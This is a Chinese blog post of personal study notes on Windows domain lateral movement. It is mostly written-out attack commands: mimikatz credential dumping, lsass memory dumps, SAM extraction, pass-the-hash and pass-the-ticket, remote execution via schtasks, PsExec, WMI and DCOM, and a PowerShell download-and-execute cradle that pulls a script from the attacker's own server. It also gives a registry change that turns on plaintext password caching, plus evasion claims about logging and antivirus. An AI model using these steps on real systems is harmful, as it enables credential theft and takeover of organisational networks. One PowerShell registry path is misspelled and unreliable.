内网渗透--横向移动

前言

为什么要横向移动

攻击者利用该技术,以被攻陷的系统作为跳板,访问域内其他主机,获得更多的资产,最终获得域控的访问权限。

横向移动的前提

获得目标主机的明文密码。

常用Windows远程连接

IPC

共享“命名管道”的资源,为实现进程间通信而开放的命名管道。

简单来说,就是使用该命令,就可以访问目标主机的文件,进行下载、上传等操作,还能进行其他命令。

使用前提

(1)139、445端口开启。

139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。

445端口可以在局域网中访问各种共享文件夹或共享打印机。

(2)管理员开启了默认共享

参考链接:windows打开和关闭默认共享方法汇总

使用方法

首先建立一个ipc$(目标主机ip:192.168.100.100):

net use \\目标IP\ipc$ "目标主机密码" /user:用户(administrator)

使用:net use 进行查看:
内网渗透--横向移动_第1张图片

dir命令

该命令可以列出目标主机的目录结构,文件:
内网渗透--横向移动_第2张图片

tasklist命令

列出目标主机运行的进程。

参数:

/S
/U
/P

内网渗透--横向移动_第3张图片

at命令(Windows Server 2008之前)

at命令可以用来创建计划任务。

at命令使用流程如下:

1.查看目标主机当前时间:
内网渗透--横向移动_第4张图片
2.上传本地的bat文件到目标主机:
内网渗透--横向移动_第5张图片
3.使用at命令创建计划任务:
在这里插入图片描述

然后等待执行。

4.清除记录:

计划任务不会在执行后自动删除,为了避免攻击被发现,所以要手动进行删除。

在这里插入图片描述

5 是创建计划任务时的ID号。

利用at进行远程命令执行,并写入文本

在这里插入图片描述

使用 type 进行查看:

内网渗透--横向移动_第6张图片

schtasks

Windows Vista 、Windows Server 08之后at命令被废弃。使用schtasks代替at命令。

使用方法:

创建一个名称为test的计划任务:

schtasks /create /s 192.168.100.100 /tn test /sc onstart /tr c:\1.bat /ru system /f

在这里插入图片描述
如果创建失败,使用 /u /p 参数添加用户和密码。

执行计划:

schtasks /run /s 192.168.100.100 /i /tn "test"

在这里插入图片描述

删除任务:

schtasks /delete /s 192.168.100.100 /tn "test" /f

在这里插入图片描述

Windows获取hash

抓取hash的前提

权限为system,Windows系统的安全验证信息都保存在SAM中,SAM文件位置为 C:\Windows\System\config

常见的抓取工具

GetPass

下载地址:GetPassword_x64

在本机上使用时(win10),会出现如下错误:

内网渗透--横向移动_第7张图片
在Windows Server 2008中使用:

内网渗透--横向移动_第8张图片
可以抓取到密码。原因后续再说。

PwDump7

可以通过彩虹表进行破解,无法破解时通过hash传递进行横向移动。
内网渗透--横向移动_第9张图片

QuarksPwDump

使用方法:

QuarksPwDump.exe --dump-hash-local

内网渗透--横向移动_第10张图片

使用SAM、SYSTEM文件获取hash

首先导出SAM文件:

reg save hklm\sam sam.hive
reg save hklm\system system.hive

使用mimikatz进行读取,将导出的SAM文件放入mimikatz工具目录中(在mimikatz目录中开启命令行执行reg命令):
内网渗透--横向移动_第11张图片

开启miimkatz工具:

执行:

lsadump::sam /sam:sam.hive /system:system.hive

内网渗透--横向移动_第12张图片
mimikatz直接抓取hash

前一种方式是导出了SAM文件进行抓取,这次通过mimikatz工具直接进行抓取。

privilege::debug	#提升权限
token::elevate		#提升至system权限	
lsadump::sam		#抓取

内网渗透--横向移动_第13张图片
mimikatz在线抓取密文密码

privilege::debug
log
sekurlsa::logonpasswords

内网渗透--横向移动_第14张图片
离线读取lsass.dmp文件

在任务管理器中,对该进程进行转存:

内网渗透--横向移动_第15张图片
内网渗透--横向移动_第16张图片

使用Procdump进行导出:

procdump是微软发布的工具,所以不会被拦截。

输入命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

内网渗透--横向移动_第17张图片

将该文件放入mimiktaz工具目录中(或使用绝对路径),进行加载:

sekurlsa::minidump 文件

内网渗透--横向移动_第18张图片
导出密码:

sekurlsa::logonpasswords full

内网渗透--横向移动_第19张图片

单机密码抓取的防御

为了防止密码明文泄露,微软发布了补丁KB2871997,关闭了Wdigest功能,Windows Server 2012以上默认关闭了该功能(所以之前会出错)

当注册表中Wdigest为1时,攻击者可以获取到明文密码,所以为了安全,确保其值为0。

开启和关闭wdigest的命令:

reg add HKLM\SYSTEM\CurrentControlset\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f  # 关闭为0

PowerShell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolset\Control\SecureityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 #  关闭为0

哈希传递攻击(Pass The Hash)

获取主机的密码hash值(通常为NTLM Hash)。在与环境中,每一台主机的管理员账号和密码大概率会使用相同的账号密码(方便管理),所以攻击者就可以通过传递hash值来登录内网的其他主机,并且,通过hash传递不需要获得明文密码。

在Windows Server 2012 R2及之后版本中,计算机内存不再记录明文密码,所以攻击者会通过传递hash值进行登录验证。

使用NTLM Hash传递

获取hash值后,以管理员身份运行mimikatz:

然后,输入命令,传递hash:

sekurlsa::pth /user administrator /domain:域名 /ntlm:ntlm hash 值

内网渗透--横向移动_第20张图片
执行完毕后,会打卡一个命令行cmd:

dir 可查看远程主机的c盘目录:
内网渗透--横向移动_第21张图片

使用AES-256密钥进行传递

首先获取AES-256密钥:

sekurlas::ekeys

内网渗透--横向移动_第22张图片
然后进行传递:

sekurlsa::pth /user administrator /domain:域名 /aes256:aes256 值

其余步骤与NTLM传递相同。

需要注意的是,使用aes256进行传递时,目标主机必须安装了KB2871997补丁才可以。

票据传递攻击(PTT)

mimikatz进行票据传递

使用mimikatz进行传递时,不需要本地管理员权限(system)。

首先将内存中票据导出:

privilege::debug
sekurlas::tickets /export

使用mimikatz,至少是administrator权限,不能是administrator组用户权限。

导出票据后,清空票据列表:

kerberos::purge

然后导入高权限的票据:
内网渗透--横向移动_第23张图片

kerberos::ptt "票据"

内网渗透--横向移动_第24张图片

访问远程主机目录:
内网渗透--横向移动_第25张图片
遇到的问题:切换administrator打开cmd时,我也忘记了是不是没有把administrator放到域环境中,总之打不开,只能用system权限打开mimikatz,导出票据。

kekeo票据传递

下载地址:https://github.com/gentilkiwi/kekeo/releases

使用条件:域名、用户名、NTLM Hash。

NTLM Hash 获取的方式前面已经列出了。

首先,生成票据文件:

tgt::ask /user: /domain: /ntlm:

清空缓存票据,导入票据即可:

kerberos::purge        // 清除内存中的其他票据
kerberos::ptt 票据     // 导入票据

PsExec

下载地址:PSTools

使用该工具,可以在远程主机上执行命令,也可以将管理员权限提升至system权限。

在建立 ipc$ 的条件下,执行以下命令,获得system权限的shell:

PsExec.exe -accepteula \\192.168.100.100 -s cmd.exe

内网渗透--横向移动_第26张图片
此时获取的是本地的system权限的shell(书上说要建立ipc$,但是我做的时候并没有建立,只有和vmware连接,这个也可以吗??)

获得远程主机的shell:

PsEcec.exe \\192.168.100.100(远程主机ip) -u 用户名 -p 密码 -i cmd.exe

在psexec 2.30+版本,要添加 -i 参数:
内网渗透--横向移动_第27张图片

MSF使用PsExec

使用的模块:

exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh (PowerShell版)

msf使用就不说了,查看需要配置的选项,进行设置,exploit:

内网渗透--横向移动_第28张图片

内网渗透--横向移动_第29张图片

WMI

wmiexec在进行横向移动时,不会被记录在日志中。

在远程主机上执行命令,并将结果输入到文本中:

wmic /node:192.168.100.100 /user:xxx /password:xxx process call create "cmd.exe /c ipconfig >C:\ip.txt"

建立ipc$连接,使用type读取该文本:
内网渗透--横向移动_第30张图片

因为wmic命令没有回显,所以需要通过ipc$和type进行读取。

WmicExec(Kali Linux)

下载impacket工具包:https://codeload.github.com/SecureAuthCorp/impacket/zip/refs/heads/master

获取远程主机的shell:
内网渗透--横向移动_第31张图片
这里注意,需要python3(反正python2错误),密码中含有特殊字符需要进行转义。

wmiexec.vbs

通过脚本调用WMI模拟PsExec。

内网渗透--横向移动_第32张图片
在vbs脚本路径下执行命令。

Invoke-WmiCommand

该脚本在PowerSpolit工具包中,首先在工具包路径下开启http服务,然后在Windows操作系统中导入。

IEX(New-Object Net.Webclient).DownloadString('http://xxx.xxx.xxx.xxx/powersploit/CodeExecution/Invoke-WmiCommand.ps1')     // 下载脚本并导入系统
//设置选项
$User = "域名\用户名"
$Password = ConvertTo-SecureString -String "密码" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password    // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {
     要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput       // 将执行结果输出到屏幕上

内网渗透--横向移动_第33张图片

smbexec使用

该工具可以通过文件共享在远程主机中执行命令。

Linux impacket工具包中smbexec.py

获取远程主机的shell:
内网渗透--横向移动_第34张图片

smbexec工具包

这里简单说一下,我在使用kali 2020 时,有一些python库需要安装,但是安装了好久都没有安装成功,无奈在kali 2018中安装了工具包。。。(太菜了)

安装步骤:

git clone https://github.com/brav0hax/smbexec.git
chmod +x install.sh
./install.sh
选则安装环境(根据自己的环境选择)
选择安装目录(默认/opt)
smbexec执行

具体使用方法就不说了。

DCOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够像网络中的另一塔计算机上的服务器程序对象发送请求。

获取DCOM程序列表:

Get-CimInstance Win32_DCOMApplication //windows server 2012及以上版本
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication //win 7 win server 2008

使用DCOM执行命令:

启动管理员权限的PowerShell

在本地开启一个计算器:

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","mimimzed")

在远程主机上执行命令

首先建立ipc$连接。

在这里插入图片描述
调用MMC20.Application远程执行命令:
在这里插入图片描述

远程主机上的任务管理器:
内网渗透--横向移动_第35张图片

SPN(服务主体名称)在域环境中的应用

SPN是什么,能做什么,不进行叙述。

工具包下载:https://github.com/PyroTek3/PowerShell-AD-Recon

使用方法:唉 , 没执行出来。。。

使用windows自带工具查看spn信息:
内网渗透--横向移动_第36张图片

kerberoast攻击

唉 又没搞出来(>_<)

Exchange邮件服务器

总结

了解了一些内网横向移动中使用到的工具(好多都被杀了),巩固基础吧。

后面一些服务的应用需要其他服务的安装,所以就没有搞出来,那就多看看书吧。

最重要的一点:只是为了记录自己的学习过程,眼过千遍,不如手过一遍。

以上学习指导来自《内网安全攻防:渗透测试实战指南》

你可能感兴趣的:(渗透测试学习,内网渗透,内网渗透,渗透测试)